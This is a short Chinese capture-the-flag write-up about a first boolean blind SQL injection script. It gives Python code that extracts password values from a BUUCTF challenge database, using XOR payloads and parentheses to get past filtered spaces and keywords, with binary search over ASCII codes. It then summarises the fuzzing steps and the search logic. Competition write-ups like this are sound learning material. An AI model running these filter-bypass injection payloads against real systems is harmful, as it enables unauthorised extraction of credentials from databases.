第一次写盲注脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import requests import time flag="" for i in range(1,280): low = 32 high = 128 mid = (low + high) >> 1 while(high>low): url = "http://5ab2fc5d-f744-4401-9552-f1b496e7e678.node4.buuoj.cn:81/search.php" payload= "?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})^1".format(i,mid) url+=payload r = requests.get(url) time.sleep(0.04) if "Cl" in r.text: low=mid+1 else: high=mid mid=(low+high)>>1 if (mid==32 or mid==128): break flag += chr (mid) print(flag) print(flag)
|
总结步骤
- fuzz查过滤
- 考虑查注入
- 然后写脚本

根据提示,尝试对?id=进行fuzz
发现空格和and和||和$$被过滤了
而^没有被过滤
尝试用1^^1

可以利用可行的注入符合提供思路
“1^ 0 ^ 1”为假
“1 ^ 1 ^ 1”为真来嵌套语句
利用二分法来简化爆破
32是空格,ascii最多到127,所以可显字符是32到127
我们取中间数为mid为80,high为128,low为32(方便除二)
若这个要猜的值比80大,就到80到128的区间类取中值比较,以此类推,因为这个数必是整数,所以必可以找到。

最后在一大堆password里面找到。